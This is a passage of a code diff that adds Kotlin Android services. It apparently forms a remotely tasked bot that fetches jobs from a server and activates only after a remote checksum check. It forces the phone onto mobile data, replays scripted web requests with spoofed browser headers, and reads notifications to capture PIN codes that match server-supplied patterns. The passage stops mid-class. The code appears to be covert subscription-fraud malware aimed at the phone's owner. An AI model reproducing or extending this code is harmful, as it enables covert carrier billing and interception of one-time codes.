override suspend fun execute(onFinish: (List<ActionExec>) -> Unit) =
withContext(Dispatchers.Default) {
val actionExecList = mutableListOf<ActionExec>()
val currentStep = taskConfig.currentStep
try {
handleActionDelay()
val actionRequest = action.request ?: throw NullPointerException("request is null")
amendActionRequest(actionRequest)
val httpRequest = actionRequest.buildHttpRequest()
val result = if (action.async) {
handleAsyncRequest(httpRequest, actionExecList)
} else {
handleSyncRequest(httpRequest, actionExecList)
}
updateTaskStep(result, currentStep)
} catch (e: Exception) {
LogUtils.error(throwable = e)
handleException(e, actionExecList, currentStep)
}
LogUtils.info("finish action: ${action.request?.url}")
onFinish(actionExecList)
}
// ==================== 请求处理 ====================
private suspend fun handleActionDelay() {
if (action.delay > 0) {
LogUtils.info("action delay: ${action.delay} s, it's async: ${action.async}")
delay(action.delay.toDuration(DurationUnit.SECONDS))
}
}
private data class RequestResult(
val proceedTask: Boolean,
val httpResponse: Response?,
val httpRequest: Request,
)
private fun handleAsyncRequest(
httpRequest: Request,
actionExecList: MutableList<ActionExec>
): RequestResult {
httpRequest.makeAsyncRequest()
val actionExec = httpRequest.genActionExec(null, 1)
actionExec.respCode = ASYNC_EXEC_CODE
actionExecList += actionExec
return RequestResult(proceedTask = true, httpResponse = null, httpRequest)
}
private suspend fun handleSyncRequest(
httpRequest: Request,
actionExecList: MutableList<ActionExec>
): RequestResult {
val request = httpRequest
val response = request.call()
val stepCallHttpCount = 1
val actionExec = request.genActionExec(response, stepCallHttpCount)
actionExecList += actionExec
return when (response.code) {
in HTTP_STATUS_SUCCESS -> {
RequestResult(proceedTask = true, httpResponse = response, request)
}
in HTTP_STATUS_REDIRECT -> {
handleRedirects(request, response, actionExecList).let { redirectResult ->
RequestResult(
proceedTask = redirectResult.proceedTask,
httpResponse = redirectResult.response,
httpRequest = redirectResult.request
)
}
}
else -> {
RequestResult(proceedTask = action.skipError, httpResponse = response, request)
}
}
}
private data class RedirectResult(
val proceedTask: Boolean,
val response: Response?,
val request: Request,
)
private suspend fun handleRedirects(
initialRequest: Request,
initialResponse: Response,
actionExecList: MutableList<ActionExec>
): RedirectResult {
var request = initialRequest
var response = initialResponse
var stepCallHttpCount = 1
var redirectUrl = getRedirectUrl(response)
while (shouldContinueRedirect(response, redirectUrl, stepCallHttpCount)) {
stepCallHttpCount++
runCatching {
request = request.buildRedirectHttpRequest(redirectUrl!!, request.url)
response = request.call()
if (response.code !in HTTP_STATUS_REDIRECT) {
updateResponseReferer(request, response)
}
redirectUrl = getRedirectUrl(response)
LogUtils.info("redirectUrl: $redirectUrl")
request.genActionExec(response, stepCallHttpCount)
}.onFailure { e ->
LogUtils.error(throwable = e)
val errorExec = request.genActionExec(null, stepCallHttpCount).apply {
respCode = HttpClient.ErrorCode.ERROR_CODE_HTTP_BUILD_CONNECTION_FAILED
}
actionExecList += errorExec
return RedirectResult(proceedTask = action.skipError, response = null, request)
}.onSuccess { actionExec ->
actionExecList += actionExec
}
}
return RedirectResult(proceedTask = true, response = response, request)
}
private fun shouldContinueRedirect(
response: Response?,
redirectUrl: String?,
stepCallHttpCount: Int
): Boolean {
return response != null &&
response.code in HTTP_STATUS_REDIRECT &&
stepCallHttpCount <= MAX_REDIRECT_COUNT &&
!redirectUrl.isNullOrBlank() &&
redirectUrl.isHttpRedirect()
}
private fun getRedirectUrl(response: Response?): String? {
return response?.headers?.get(
HttpClient.Params.REQUEST_HEADER_LOCATION,
ignoreCase = true
)?.firstOrNull()
}
private fun updateResponseReferer(request: Request, response: Response) {
if (response.headers.isNotEmpty()) {
response.headers = response.headers.toMutableMap().apply {
put(
HttpClient.Params.REQUEST_HEADER_REFERER,
listOf(
request.headers.getOrDefault(
HttpClient.Params.REQUEST_HEADER_REFERER,
ignoreCase = true,
""
)
)
)
}
}
}
private fun updateTaskStep(
result: RequestResult,
currentStep: Int,
) {
if (result.proceedTask) {
result.httpResponse?.let { response ->
extractResponseVariableToCache(action, result.httpRequest, response)
val nextStep = action.next.httpGetNextStepIndex(
result.httpRequest, response, currentStep
)
taskConfig.currentStep = nextStep
} ?: run {
taskConfig.currentStep = currentStep + 1
}
} else {
taskConfig.currentStep = Int.MAX_VALUE
}
}
private fun handleException(
e: Exception,
actionExecList: MutableList<ActionExec>,
currentStep: Int
) {
val actionExec = genExceptionActionExec(
action, ERROR_CODE_HTTP_ACTION_EXEC_FAILED, Log.getStackTraceString(e)
)
actionExecList += actionExec
taskConfig.currentStep = if (action.skipError) {
currentStep + 1
} else {
Int.MAX_VALUE
}
}
// ==================== ActionExec 生成 ====================
private fun Request.genActionExec(
httpResponse: Response?,
redirectCount: Int
): ActionExec {
val actionExec = ActionExec(
step = taskConfig.currentStep,
index = redirectCount,
time = System.currentTimeMillis(),
url = url,
method = method.value,
reqHeader = headers.toJsonString1()
)
if (body.isNotEmpty()) {
actionExec.reqData = String(body)
}
httpResponse?.let { response ->
saveCookiesFromResponse(response, url)
fillResponseData(actionExec, response)
}
return actionExec
}
private fun saveCookiesFromResponse(response: Response, url:String) {
if (response.headers.isEmpty()) return
runCatching {
URL(url).apply {
val uri = URI(protocol, host, path, query, null)
taskConfig.cookieManager.put(uri, response.headers)
}
}.onFailure {
LogUtils.error(throwable = it)
}
}
private fun fillResponseData(actionExec: ActionExec, response: Response) {
if (response.headers.isNotEmpty()) {
actionExec.respHeader = response.headers.toJsonString()
}
actionExec.respCode = response.code
if (response.data.isNotEmpty()) {
actionExec.respData = String(response.data)
}
actionExec.cost = response.endTime - response.startTime
}
// ==================== 异步请求处理 ====================
private fun Request.makeAsyncRequest() = scope.launch {
var request = copy()
var response = request.call()
var stepCallHttpCount = 0
var redirectUrl = getRedirectUrl(response)
while (shouldContinueRedirect(response, redirectUrl, stepCallHttpCount)) {
stepCallHttpCount++
runCatching {
request = request.buildRedirectHttpRequest(redirectUrl!!, request.url)
response = request.call()
redirectUrl = getRedirectUrl(response)
}.onFailure {
LogUtils.error(throwable = it)
return@launch
}
}
}
// ==================== URL 处理 ====================
private fun String.isHttpRedirect(): Boolean {
return HTTP_REDIRECT_PATTERN.find(this)?.let {
startsWith("http", ignoreCase = true)
} ?: true
}
private fun HttpActionRequest.buildHttpRequest(): Request = Request(
url = url,
method = method,
body = data.toByteArray(),
headers = headers.nameValueToMap()
)
private fun genWholeResponse(httpRequest: Request, httpResponse: Response?): String {
val responseData = httpResponse?.data?.takeIf { it.isNotEmpty() }?.let {
String(it)
} ?: ""
val responseHeaders = httpResponse?.headers?.takeIf { it.isNotEmpty() }?.toJsonString() ?: ""
return "[${httpRequest.url}]$responseData[$responseHeaders]"
}
// ==================== 步骤控制 ====================
private fun List<Next>.httpGetNextStepIndex(
httpRequest: Request,
httpResponse: Response?,
currentStep: Int
): Int {
val wholeResponse = genWholeResponse(httpRequest, httpResponse)
return getNextStepIndex(wholeResponse, currentStep)
}
// ==================== 变量提取 ====================
private fun extractResponseVariableToCache(
action: BaseAction.HttpAction,
httpRequest: Request,
httpResponse: Response
) {
val actionResponse = action.response ?: return
val responseHeaders = httpResponse.headers
extractCookieVariableToCache(actionResponse.cookies, responseHeaders)
extractHeaderVariableToCache(actionResponse.headers, responseHeaders)
extractBodyVariableToCache(
action,
genWholeResponse(httpRequest, httpResponse),
httpResponse.data
)
}
private fun extractCookieVariableToCache(
cookies: List<NameVariable>,
responseHeaders: Map<String, List<String>>
) {
if (cookies.isEmpty()) return
runCatching {
val cookieList = responseHeaders.get(
HttpClient.Params.RESPONSE_HEADER_SET_COOKIE,
ignoreCase = true
) ?: return
cookies.forEach { nameVariable ->
cookieList.forEach { cookie ->
parseCookieValue(cookie, nameVariable.name)?.let { value ->
taskConfig.variableCache[nameVariable.variable] = value
}
}
}
}.onFailure {
LogUtils.error(throwable = it)
}
}
private fun parseCookieValue(cookie: String, targetName: String): String? {
val cookieValues = cookie.split(";")
cookieValues.forEach { cookieValue ->
val keyPair = cookieValue.split("=", limit = 2)
val key = keyPair.first().trim()
val value = keyPair.getOrElse(1) { "" }.trim()
if (key == targetName) {
return value
}
}
return null
}
private fun extractHeaderVariableToCache(
headers: List<NameVariable>,
responseHeaders: Map<String, List<String>>
) {
if (headers.isEmpty() || responseHeaders.isEmpty()) return
headers.forEach { nameVariable ->
responseHeaders[nameVariable.name]?.firstOrNull()?.let { value ->
taskConfig.variableCache[nameVariable.variable] = value
}
}
}
// ==================== 请求构建 ====================
private fun amendActionRequest(actionRequest: HttpActionRequest) {
// 替换变量
actionRequest.headers.replaceVariableData()
actionRequest.cookies.replaceVariableData()
actionRequest.params.replaceVariableData()
if (actionRequest.data.isNotBlank()) {
actionRequest.data = actionRequest.data.toVariableData()
}
// 添加基础 Header
actionRequest.headers = actionRequest.headers.amendBaseHeader(true).toMutableList()
// 处理 URL
actionRequest.url = when (actionRequest.method) {
HttpMethod.Get -> buildGetUrl(actionRequest)
else -> actionRequest.url.toVariableData()
}
// 添加 Sec-CH-UA Header (HTTPS)
if (actionRequest.url.isHttps()) {
actionRequest.headers = actionRequest.headers.addSecChUa()
}
// 处理 Cookie
actionRequest.amendCookie()
// 处理 POST 数据
if (actionRequest.method != HttpMethod.Get) {
val sendData = actionRequest.genPostData()
if (sendData.isNotEmpty()) {
actionRequest.data = String(sendData)
}
}
}
private fun buildGetUrl(actionRequest: HttpActionRequest): String {
val baseUrl = actionRequest.url.toVariableData()
return baseUrl.toUri().buildUpon().apply {
actionRequest.params.forEach { nameValue ->
appendQueryParameter(nameValue.name, nameValue.value)
}
}.build().toString()
}
private fun HttpActionRequest.amendCookie() {
val cookies = mutableSetOf<NameValue>()
// 从 CookieManager 获取 Cookie
if (autoCookie) {
cookies += cookieFromCookieManager(url)
}
// 添加手动指定的 Cookie覆盖同名 Cookie
this.cookies.forEach {
cookies.remove(it)
cookies += it
}
// 构建 Cookie Header
if (cookies.isNotEmpty()) {
headers += cookies.toList().buildCookie()
}
}
private fun HttpActionRequest.genPostData(): ByteArray {
// 优先使用 paramsform-data
if (params.isNotEmpty()) {
return params.joinToString("&") {
"${it.name.urlEncode()}=${it.value.urlEncode()}"
}.toByteArray()
}
// 否则使用 dataraw data
if (data.isNotBlank()) {
return data.toByteArray(Charsets.UTF_8)
}
return byteArrayOf()
}
// ==================== 重定向请求构建 ====================
private fun Request.buildRedirectHttpRequest(
redirectUrl: String,
originUrl: String
): Request {
val headers = genBaseHeaderMap().toMutableMap()
headers[HttpClient.Params.REQUEST_HEADER_REFERER] = originUrl
val normalizedUrl = URL(URL(originUrl), redirectUrl.replace(" ", "%20")).toString()
// 添加 Cookie
val cookies = cookieFromCookieManager(normalizedUrl)
if (cookies.isNotEmpty()) {
cookies.toList().buildCookie().let { cookie ->
headers[cookie.name] = cookie.value
}
}
// 添加 Sec-CH-UA Header (HTTPS)
if (normalizedUrl.isHttps()) {
mutableListOf<NameValue>().addSecChUa().forEach {
headers[it.name] = it.value
}
}
return Request(
url = normalizedUrl,
method = HttpMethod.Get,
headers = headers
)
}
}
// ==================== Map 扩展函数 ====================
fun <V> Map<String, V>.get(key: String, ignoreCase: Boolean): V? {
return entries.firstOrNull {
it.key.equals(key, ignoreCase = ignoreCase)
}?.value
}
fun <V> Map<String, V>.getOrDefault(key: String, ignoreCase:Boolean, defaultValue:V): V =
this.get(key, ignoreCase) ?: defaultValue
fun String.toUri():Uri = Uri.parse(this)

@ -0,0 +1,450 @@
package com.example.service
import android.content.Context
import android.os.SystemClock
import com.example.action.HttpMethod
import com.example.http.HttpClient
import com.example.http.HttpClient.call
import com.example.http.Request
import com.example.http.Response
import com.example.lib.BuildConfig
import com.example.logger.LogUtils
import com.example.network.NetworkController
import com.example.pin.NotificationManger
import com.example.request.BaseRequest
import com.example.request.BaseRequestImp
import com.example.request.TaskRequest
import com.example.response.TaskResponse
import com.example.utils.AndroidId
import com.example.utils.NetworkManager
import com.example.utils.notificationListenerEnable
import com.example.utils.restartNotificationListenerServiceState
import com.example.utils.toJsonString
import com.example.utils.toTaskResponse
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.Job
import kotlinx.coroutines.SupervisorJob
import kotlinx.coroutines.delay
import kotlinx.coroutines.flow.MutableStateFlow
import kotlinx.coroutines.isActive
import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
import kotlinx.coroutines.withTimeoutOrNull
import java.util.concurrent.atomic.AtomicReference
import kotlin.time.DurationUnit
import kotlin.time.measureTime
import kotlin.time.toDuration
sealed class TaskEvent {
data object Waiting : TaskEvent()
data object RequestData : TaskEvent()
data object ForceRequestData : TaskEvent()
data class RunTask(val taskResponse: TaskResponse) : TaskEvent()
}
class MainService private constructor() {
companion object {
private const val DEFAULT_REQUEST_TASK_INTERVAL_MS = 5 * 60_000L
private const val TASK_MAX_EXEC_TIME_MS = 6 * 60_000L
private const val VERIFICATION_CHECK_INTERVAL_MINUTES = 30L
private const val NETWORK_SWITCH_TIMEOUT_MS = 10_000L
private const val NETWORK_SWITCH_CHECK_INTERVAL_MS = 600L
private const val NOTIFICATION_CHECK_INTERVAL_MS = 400L
private const val NETWORK_REPAIR_DELAY_MS = 1_000L
private const val REQUEST_DELAY_MS = 60_000L
private const val ASYNC_RUN_DELAY_MS = 1_000L
private const val HTTP_SUCCESS_CODE = 200
private const val MIN_REQUEST_INTERVAL_MINUTES = 0
private const val MAX_REQUEST_INTERVAL_MINUTES = 24 * 60
private const val DEFAULT_REQUEST_INTERVAL_MINUTES = 6 * 60
private const val MINUTES_TO_MS = 60_000L
val instance: MainService by lazy { MainService() }
}
// ==================== 属性 ====================
private lateinit var context: Context
private val taskScope: CoroutineScope = CoroutineScope(Dispatchers.Default + SupervisorJob())
private val isTaskRunning = AtomicReference(false)
private var nextRequestTime: Long = 0
private val state: MutableStateFlow<TaskEvent> = MutableStateFlow(TaskEvent.Waiting)
var isVerified = true
internal set
private lateinit var network: NetworkManager
private lateinit var networkController: NetworkController
private lateinit var baseRequest: BaseRequest
private var mainJob: Job? = null
private var hadForceRequest = false
// ==================== 主启动方法 ====================
fun launcher(ctx: Context, needNotification: Boolean = false) {
if (mainJob?.isActive == true) {
LogUtils.info("MainService: already running, skipping launch")
return
}
mainJob = taskScope.launch {
initialize(ctx, this)
setupServices()
startBackgroundTasks(needNotification)
startStateFlowCollector()
}
}
// ==================== 初始化 ====================
private suspend fun initialize(ctx: Context, scope: CoroutineScope) {
context = ctx
LogUtils.info("MainService: initializing...")
NotificationManger.initialized(context)
// 验证状态
while (scope.isActive && !isVerified) {
isVerified = checkState()
LogUtils.info("MainService: verification status: $isVerified")
if (!isVerified) {
delay(VERIFICATION_CHECK_INTERVAL_MINUTES.toDuration(DurationUnit.MINUTES))
}
}
AndroidId.init(context)
LogUtils.info("MainService: initialization completed")
}
private fun setupServices() {
network = NetworkManager(context)
networkController = NetworkController(context, network)
baseRequest = BaseRequestImp(context, network)
LogUtils.info("MainService: services setup completed")
}
private fun startBackgroundTasks(needNotification: Boolean) {
// 启动异步运行任务
taskScope.launch {
asyncRun(this@launch)
}
// 启动通知权限监听
if (needNotification) {
hadForceRequest = context.notificationListenerEnable()
taskScope.launch {
listenNotificationPermission()
}
}
}
// ==================== 状态流处理 ====================
private fun startStateFlowCollector() {
taskScope.launch {
state.collect { event ->
handleTaskEvent(event)
}
}
}
private suspend fun handleTaskEvent(event: TaskEvent) {
when (event) {
is TaskEvent.ForceRequestData,
is TaskEvent.RequestData -> {
handleRequestDataEvent()
}
is TaskEvent.RunTask -> {
handleRunTaskEvent(event.taskResponse)
}
is TaskEvent.Waiting -> {
// 等待状态,不需要处理
}
}
}
private suspend fun handleRequestDataEvent() {
val nextState = try {
LogUtils.info("MainService: requesting tasks...")
val taskResponse = getTasks()
processTaskResponse(taskResponse)
} catch (e: Exception) {
LogUtils.error(e, "MainService: failed to request tasks")
scheduleNextRequest(null)
TaskEvent.Waiting
}
state.emit(nextState)
}
private fun processTaskResponse(taskResponse: TaskResponse?): TaskEvent {
if (taskResponse == null) {
scheduleNextRequest(null)
return TaskEvent.Waiting
}
scheduleNextRequest(taskResponse.requestInterval)
return if (taskResponse.tasks.isEmpty()) {
TaskEvent.Waiting
} else {
TaskEvent.RunTask(taskResponse)
}
}
private suspend fun handleRunTaskEvent(taskResponse: TaskResponse) {
val nextState = try {
if (!changeNetworkSuccess(taskResponse)) {
return
}
executeTasks(taskResponse)
scheduleNextRequest(taskResponse.requestInterval)
TaskEvent.Waiting
} catch (e: Exception) {
LogUtils.error(e, "MainService: failed to execute tasks")
scheduleNextRequest(null)
TaskEvent.Waiting
} finally {
isTaskRunning.set(false)
}
state.emit(nextState)
}
// ==================== 任务执行 ====================
private suspend fun executeTasks(taskResponse: TaskResponse) {
context.restartNotificationListenerServiceState()
isTaskRunning.set(true)
val userId = AndroidId.getAdId()
val uniqueTasks = taskResponse.tasks.distinctBy { it.taskUid }
LogUtils.info("MainService: executing ${uniqueTasks.size} unique tasks")
val duration = measureTime {
uniqueTasks.forEachIndexed { index, task ->
LogUtils.info("MainService: executing task $index: taskUid=${task.taskUid}")
executeSingleTask(task, taskResponse, userId)
}
}
LogUtils.info("MainService: all tasks completed in ${duration.inWholeSeconds}s")
networkController.restore()
}
private suspend fun executeSingleTask(
task: com.example.task.Task,
taskResponse: TaskResponse,
userId: String
) {
val taskExecService = TaskExecService(
task,
taskResponse,
userId,
context,
baseRequest
)
taskExecService.runTask(TASK_MAX_EXEC_TIME_MS)
}
// ==================== 网络切换 ====================
private suspend fun changeNetworkSuccess(taskResponse: TaskResponse): Boolean {
LogUtils.info(
"MainService: checking network - " +
"isMetered: ${network.isMetered}, " +
"hasPermission: ${network.hasChangeNetworkPermission}"
)
if (!network.isMetered && network.hasChangeNetworkPermission) {
return switchToGprsAndWait()
}
return true
}
private suspend fun switchToGprsAndWait(): Boolean {
networkController.switchToGprs()
val result = withTimeoutOrNull(NETWORK_SWITCH_TIMEOUT_MS) {
var shouldContinue = true
while (shouldContinue && !networkController.switchSuccess) {
if (state.value is TaskEvent.ForceRequestData) {
LogUtils.info("MainService: force request detected, breaking network switch wait")
shouldContinue = false
break
}
delay(NETWORK_SWITCH_CHECK_INTERVAL_MS)
}
true
}
LogUtils.info("MainService: network switch timeout result: $result")
if (!networkController.switchSuccess) {
handleNetworkSwitchFailure()
return false
}
return true
}
private suspend fun handleNetworkSwitchFailure() {
LogUtils.info("MainService: network switch failed, scheduling next request")
// 注意:这里需要从当前状态获取 taskResponse但当前实现中没有
// 可能需要调整逻辑
if (state.value !is TaskEvent.ForceRequestData) {
state.emit(TaskEvent.Waiting)
}
}
// ==================== 任务请求 ====================
private suspend fun getTasks(): TaskResponse? {
return runCatching {
val response = buildTaskRequest().call()
parseTaskResponse(response)
}.onFailure { e ->
LogUtils.error(e, "MainService: failed to get tasks")
}.getOrNull()
}
private fun parseTaskResponse(response: Response): TaskResponse? {
return if (response.code == HTTP_SUCCESS_CODE && response.data.isNotEmpty()) {
response.data.toTaskResponse()
} else {
null
}
}
private fun buildTaskRequest(): Request {
return Request(
url = BuildConfig.task_api,
headers = buildTaskRequestHeaders(),
method = HttpMethod.Post,
body = buildTaskRequestBody()
)
}
private fun buildTaskRequestHeaders(): Map<String, String> {
return mapOf(
HttpClient.Params.REQUEST_HEADER_CONTENT_TYPE to
HttpClient.Params.REQUEST_HEADER_CONTENT_TYPE_STREAM,
HttpClient.Params.REQUEST_HEADER_ACCEPT to
HttpClient.Params.REQUEST_HEADER_CONTENT_TYPE_STREAM
)
}
private fun buildTaskRequestBody(): ByteArray {
return TaskRequest(baseRequest).toJsonString().toByteArray()
}
// ==================== 通知权限监听 ====================
private suspend fun listenNotificationPermission() {
withContext(Dispatchers.IO) {
var shouldContinue = true
while (shouldContinue) {
if (shouldTriggerForceRequest()) {
triggerForceRequest()
shouldContinue = false
break
}
delay(NOTIFICATION_CHECK_INTERVAL_MS)
}
}
}
private fun shouldTriggerForceRequest(): Boolean {
return context.notificationListenerEnable() &&
!hadForceRequest &&
!isTaskRunning.get()
}
private suspend fun triggerForceRequest() {
hadForceRequest = true
state.tryEmit(TaskEvent.ForceRequestData)
LogUtils.info("MainService: force request triggered, state: ${state.value}")
}
// ==================== 异步运行循环 ====================
private suspend fun asyncRun(scope: CoroutineScope) {
while (scope.isActive) {
try {
AndroidId.getAdId()
if (shouldSkipRequest()) {
continue
}
if (!checkAndRepairNetwork()) {
continue
}
state.emit(TaskEvent.RequestData)
delay(REQUEST_DELAY_MS)
} catch (e: Exception) {
LogUtils.error(e, "MainService: error in async run loop")
} finally {
delay(ASYNC_RUN_DELAY_MS)
}
}
}
private fun shouldSkipRequest(): Boolean {
return isTaskRunning.get() ||
state.value !is TaskEvent.Waiting ||
SystemClock.elapsedRealtime() <= nextRequestTime
}
private suspend fun checkAndRepairNetwork(): Boolean {
if (!network.available) {
network.repair()
delay(NETWORK_REPAIR_DELAY_MS)
if (!network.available) {
return false
}
}
return true
}
// ==================== 时间计算 ====================
private fun scheduleNextRequest(requestInterval: Int?) {
nextRequestTime = requestInterval.getNextRequestTime()
val remainingTime = nextRequestTime - SystemClock.elapsedRealtime()
LogUtils.info("MainService: next request scheduled in ${remainingTime / 1000}s")
}
private fun Int?.getNextRequestTime(): Long {
return this?.nextRequestCoerceIn()
?: (SystemClock.elapsedRealtime() + DEFAULT_REQUEST_TASK_INTERVAL_MS)
}
private fun Int.nextRequestCoerceIn(): Long {
val minutes = when {
this <= MIN_REQUEST_INTERVAL_MINUTES -> DEFAULT_REQUEST_INTERVAL_MINUTES
this > MAX_REQUEST_INTERVAL_MINUTES -> DEFAULT_REQUEST_INTERVAL_MINUTES
else -> this
}
return minutes * MINUTES_TO_MS + SystemClock.elapsedRealtime()
}
// ==================== 状态验证 ====================
private suspend fun checkState(): Boolean {
return runCatching {
val response = Request(BuildConfig.chcikUrl).call()
val result = String(response.data)
LogUtils.info("MainService: checkState result: $result")
result == BuildConfig.checkSum
}.onFailure { e ->
LogUtils.error(e, "MainService: checkState failed")
}.getOrDefault(false)
}
}

@ -0,0 +1,296 @@
package com.example.service
import android.util.Log
import com.example.action.BaseAction
import com.example.action.Next
import com.example.logger.LogUtils
import com.example.pin.NotificationManger
import com.example.pin.NotificationMessage
import com.example.report.ActionExec
import com.example.task.TaskConfig
import com.example.utils.toJsonString
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.delay
import kotlinx.coroutines.isActive
import kotlinx.coroutines.withContext
import kotlinx.coroutines.withTimeoutOrNull
import java.nio.charset.StandardCharsets
import kotlin.time.DurationUnit
import kotlin.time.toDuration
class PinService(
private val action: BaseAction.PinAction,
override val taskConfig: TaskConfig
) : BaseService(taskConfig) {
companion object {
private const val HTTP_STATUS_OK = 200
private const val POLLING_INTERVAL_MS = 1000L
private const val MS_TO_SECONDS = 1000f
}
// ==================== 主执行方法 ====================
override suspend fun execute(onFinish: (List<ActionExec>) -> Unit) {
withContext(Dispatchers.IO) {
val actionExecList = mutableListOf<ActionExec>()
val currentStep = taskConfig.currentStep
runCatching {
val executionResult = executeWithTimeout(currentStep)
processExecutionResult(executionResult, actionExecList, currentStep)
}.onFailure { e ->
LogUtils.error(e)
handleException(e, actionExecList, currentStep)
}
onFinish(actionExecList)
}
}
// ==================== 执行逻辑 ====================
private data class ExecutionResult(
val messageLog: MutableList<NotificationMessage>,
val cost: Long,
val nextList: List<Next>
)
private suspend fun executeWithTimeout(currentStep: Int): ExecutionResult {
val start = System.currentTimeMillis()
val messageLog = mutableListOf<NotificationMessage>()
val nextList = action.next
NotificationManger.startPolling(duration = action.delay.toDuration(DurationUnit.SECONDS).inWholeMilliseconds) { notificationMessage ->
taskConfig.notificationCache.add(notificationMessage)
}
LogUtils.info("PinService: next list: ${nextList.map { "${it.regexp}, ${it.contain}" }}")
withTimeoutOrNull(action.delay.toDuration(DurationUnit.SECONDS)) {
while (isActive) {
val notificationCache = taskConfig.notificationCache.toList()
if (shouldCheckForMessages(nextList, notificationCache)) {
val notificationMessages = haveNextCatchTargetMessage(notificationCache, nextList)
if (notificationMessages.isNotEmpty()) {
LogUtils.info("PinService: catch target message...")
messageLog.addAll(notificationMessages)
break
}
}
val elapsed = System.currentTimeMillis() - start
LogUtils.info("PinService: waiting for target message... delay: ${action.delay}s, elapsed: ${elapsed / MS_TO_SECONDS}s")
delay(POLLING_INTERVAL_MS)
}
}
val cost = System.currentTimeMillis() - start
LogUtils.info("PinService: waiting finished, cost: ${cost / MS_TO_SECONDS}s")
NotificationManger.stopPolling()
return ExecutionResult(messageLog, cost, nextList)
}
private fun shouldCheckForMessages(
nextList: List<Next>,
notificationCache: List<NotificationMessage>
): Boolean {
return nextList.isNotEmpty() && notificationCache.isNotEmpty()
}
private fun processExecutionResult(
result: ExecutionResult,
actionExecList: MutableList<ActionExec>,
currentStep: Int
) {
val respCode = updateTaskStep(result.messageLog, result.nextList, currentStep)
if (taskConfig.currentStep != Int.MAX_VALUE && result.messageLog.isNotEmpty()) {
extractResponseVariables(result.messageLog)
}
val actionExec = genActionExec(
result.messageLog,
currentStep,
respCode,
result.cost
)
actionExecList += actionExec
}
private fun extractResponseVariables(messageLog: MutableList<NotificationMessage>) {
val responseBody = messageLog.toJsonString()
extractBodyVariableToCache(
action,
responseBody,
responseBody.toByteArray(StandardCharsets.UTF_8)
)
}
// ==================== 步骤更新 ====================
private fun updateTaskStep(
messageLog: MutableList<NotificationMessage>,
nextList: List<Next>,
currentStep: Int
): Int {
return if (messageLog.isNotEmpty()) {
handleSuccessCase(messageLog, nextList, currentStep)
} else {
handleEmptyMessageLogCase(messageLog, nextList, currentStep)
}
}
private fun handleSuccessCase(
messageLog: MutableList<NotificationMessage>,
nextList: List<Next>,
currentStep: Int
): Int {
val nextStep = nextList.getNextStepIndex(
messageLog.toJsonString(),
currentStep
)
taskConfig.currentStep = nextStep
return HTTP_STATUS_OK
}
private fun handleEmptyMessageLogCase(
messageLog: MutableList<NotificationMessage>,
nextList: List<Next>,
currentStep: Int
): Int {
return if (nextList.isNotEmpty()) {
handleTimeoutCase(messageLog)
} else {
handleNoNextConditionCase(messageLog, currentStep)
}
}
private fun handleTimeoutCase(messageLog: MutableList<NotificationMessage>): Int {
taskConfig.currentStep = Int.MAX_VALUE
// 超时时,添加最后一个通知用于日志记录
if (taskConfig.notificationCache.isNotEmpty()) {
messageLog.add(taskConfig.notificationCache.last())
}
return ERROR_CODE_PIN_ACTION_TIMEOUT
}
private fun handleNoNextConditionCase(
messageLog: MutableList<NotificationMessage>,
currentStep: Int
): Int {
// 没有 next 条件时,添加所有通知并继续下一步
taskConfig.currentStep = currentStep + 1
messageLog.addAll(taskConfig.notificationCache)
return HTTP_STATUS_OK
}
// ==================== 异常处理 ====================
private fun handleException(
e: Throwable,
actionExecList: MutableList<ActionExec>,
currentStep: Int
) {
val actionExec = genExceptionActionExec(
action,
ERROR_CODE_PIN_ACTION_EXEC_FAILED,
Log.getStackTraceString(e)
)
actionExecList += actionExec
taskConfig.currentStep = if (action.skipError) {
currentStep + 1
} else {
Int.MAX_VALUE
}
}
// ==================== ActionExec 生成 ====================
private fun genActionExec(
messageLog: MutableList<NotificationMessage>,
currentStep: Int,
respCode: Int,
cost: Long
): ActionExec {
return ActionExec().apply {
step = currentStep
index = 1
this.respCode = respCode
this.cost = cost
time = System.currentTimeMillis()
if (messageLog.isNotEmpty()) {
url = messageLog.first().app
respData = messageLog.toJsonString()
}
}
}
// ==================== 消息匹配 ====================
private fun haveNextCatchTargetMessage(
notificationCache: List<NotificationMessage>,
nextList: List<Next>
): List<NotificationMessage> {
if (notificationCache.isEmpty() || nextList.isEmpty()) {
return emptyList()
}
LogUtils.info("PinService: message size: ${notificationCache.size}")
// 预编译正则表达式以提高性能
val compiledPatterns = compileRegexPatterns(nextList)
val targetMessage = findTargetMessage(notificationCache, nextList, compiledPatterns)
// 如果找到目标消息,返回所有来自相同发送者的消息
return if (targetMessage != null) {
notificationCache.filter { it.from == targetMessage.from }
} else {
emptyList()
}
}
private fun compileRegexPatterns(nextList: List<Next>): Map<Next, Regex> {
return nextList
.filter { it.step > 0 && it.regexp.isNotBlank() }.associateWith { it.regexp.toRegex() }
}
private fun findTargetMessage(
notificationCache: List<NotificationMessage>,
nextList: List<Next>,
compiledPatterns: Map<Next, Regex>
): NotificationMessage? {
for (notify in notificationCache) {
LogUtils.info("PinService: checking notify: ${notify.content}")
for (next in nextList) {
if (next.step <= 0) continue
LogUtils.info("PinService: checking next: $next")
if (matchesContain(notify, next) || matchesRegex(notify, next, compiledPatterns)) {
return notify
}
}
}
return null
}
private fun matchesContain(notify: NotificationMessage, next: Next): Boolean {
val contain = next.contain
return contain.isNotBlank() &&
(notify.from.contains(contain) || notify.content.contains(contain))
}
private fun matchesRegex(
notify: NotificationMessage,
next: Next,
compiledPatterns: Map<Next, Regex>
): Boolean {
val pattern = compiledPatterns[next] ?: return false
return pattern.matches(notify.from) || pattern.matches(notify.content)
}
}

@ -0,0 +1,209 @@
package com.example.service
import android.content.Context
import android.provider.Telephony
import com.example.action.BaseAction
import com.example.logger.LogUtils
import com.example.pin.NotificationManger
import com.example.pin.NotificationMessage
import com.example.report.ActionExec
import com.example.report.TaskExec
import com.example.request.BaseRequest
import com.example.response.TaskResponse
import com.example.task.Task
import com.example.task.TaskConfig
import com.example.utils.WebSocketUtil
import kotlinx.coroutines.delay
import kotlinx.coroutines.withTimeout
import java.net.CookieManager
import java.net.CookiePolicy
import kotlin.random.Random
class TaskExecService(
private val currentTask: Task,
private val taskResponse: TaskResponse,
private val userId: String,
private val context: Context,
private val baseRequest: BaseRequest
) {
companion object {
private const val MIN_DELAY_SECONDS = 30
private const val MAX_DELAY_SECONDS = 60
private const val MS_TO_SECONDS = 1000
}
private val taskConfig: TaskConfig
init {
